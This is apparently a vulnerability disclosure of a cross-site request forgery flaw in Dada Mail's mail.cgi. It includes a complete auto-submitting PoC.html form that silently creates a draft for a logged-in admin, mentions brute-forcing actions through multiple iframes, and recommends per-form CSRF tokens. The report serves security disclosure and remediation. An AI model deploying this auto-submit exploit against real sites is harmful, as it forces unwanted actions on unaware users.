Attacker able to Add any Draft with CSRF attack.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.
Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.
1.First of all admin or user with right privileges already should be logged in any browser.
2.Open the PoC.html (it is auto-submit).
3.Here Draft with Preheader test
will be created after the PoC.html
file opened.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://dadademo.com/cgi-bin/dada/mail.cgi" method="POST">
<input type="hidden" name="list" value="demolist" />
<input type="hidden" name="sched_flavor" value="" />
<input type="hidden" name="flavor" value="send_email" />
<input type="hidden" name="support_files_url" value="https://dadademo.com/dada_mail_support_files" />
<input type="hidden" name="draft_alert" value="0" />
<input type="hidden" name="draft_id" value="442" />
<input type="hidden" name="save_draft_role" value="draft" />
<input type="hidden" name="draft_role" value="draft" />
<input type="hidden" name="schedule_html_body_checksum" value="" />
<input type="hidden" name="feed_url_most_recent_entry" value="" />
<input type="hidden" name="schedule_type" value="single" />
<input type="hidden" name="schedule_single_displaydatetime" value="" />
<input type="hidden" name="schedule_recurring_displaydatetime_start" value="" />
<input type="hidden" name="schedule_recurring_displaydatetime_end" value="" />
<input type="hidden" name="schedule_recurring_display_hms" value="00:00" />
<input type="hidden" name="schedule_recurring_days" value="1" />
<input type="hidden" name="schedule_recurring_days" value="2" />
<input type="hidden" name="schedule_recurring_days" value="3" />
<input type="hidden" name="schedule_recurring_days" value="4" />
<input type="hidden" name="schedule_recurring_days" value="5" />
<input type="hidden" name="schedule_recurring_days" value="6" />
<input type="hidden" name="schedule_recurring_days" value="7" />
<input type="hidden" name="schedule_recurring_only_mass_mail_if_primary_diff" value="1" />
<input type="hidden" name="Reply-To" value="" />
<input type="hidden" name="X-Priority" value="3" />
<input type="hidden" name="Subject" value="<!-- tmpl_var list_settings.list_name --> Message" />
<input type="hidden" name="X-Preheader" value="test" />
<input type="hidden" name="content_from" value="content_from_textarea" />
<input type="hidden" name="html_message_body" value="<html> <head> 	<title></title> </head> <body> <p>test</p> </body> </html> " />
<input type="hidden" name="url" value="" />
<input type="hidden" name="crop_html_content_selector_type" value="id" />
<input type="hidden" name="crop_html_content_selector_label" value="" />
<input type="hidden" name="feed_url" value="" />
<input type="hidden" name="feed_url_content_type" value="summary" />
<input type="hidden" name="feed_url_max_entries" value="5" />
<input type="hidden" name="feed_url_pre_html" value="" />
<input type="hidden" name="feed_url_post_html" value="" />
<input type="hidden" name="text_message_body" value="" />
<input type="hidden" name="plaintext_url" value="" />
<input type="hidden" name="plaintext_content_from" value="auto" />
<input type="hidden" name="rich_filemanager_enabled" value="1" />
<input type="hidden" name="rich_filemanager_url" value="https://dadademo.com/dada_mail_support_files/RichFilemanager" />
<input type="hidden" name="rich_filemanager_upload_dir" value="/home8/dadademo/public_html/dada_mail_support_files/file_uploads" />
<input type="hidden" name="rich_filemanager_upload_url" value="https://dadademo.com/dada_mail_support_files/file_uploads" />
<input type="hidden" name="SUPPORT_FILES_URL" value="https://dadademo.com/dada_mail_support_files" />
<input type="hidden" name="attachment1" value="" />
<input type="hidden" name="attachment2" value="" />
<input type="hidden" name="attachment3" value="" />
<input type="hidden" name="attachment4" value="" />
<input type="hidden" name="attachment5" value="" />
<input type="hidden" name="layout" value="default" />
<input type="hidden" name="local_archive_options_present" value="1" />
<input type="hidden" name="archive_message" value="1" />
<input type="hidden" name="backdate_datetime" value="2021-09-12 23:13:44" />
<input type="hidden" name="email.operator" value="LIKE" />
<input type="hidden" name="email.value" value="" />
<input type="hidden" name="subscriber.timestamp.rangestart" value="" />
<input type="hidden" name="subscriber.timestamp.rangeend" value="" />
<input type="hidden" name="mass_mailing_utm_domains" value="" />
<input type="hidden" name="mass_mailing_utm_source" value="Pro Dada" />
<input type="hidden" name="mass_mailing_utm_medium" value="email" />
<input type="hidden" name="mass_mailing_utm_term" value="" />
<input type="hidden" name="mass_mailing_utm_content" value="" />
<input type="hidden" name="mass_mailing_utm_name" value="" />
<input type="hidden" name="test_recipient_type" value="from_textbox" />
<input type="hidden" name="test_recipients" value="" />
<input type="hidden" name="process" value="save_as_draft" />
<input type="hidden" name="json" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )
This vulnerability is capable of make medium damage on availability and integrity of system.
You should set a CSRF token for each user/form.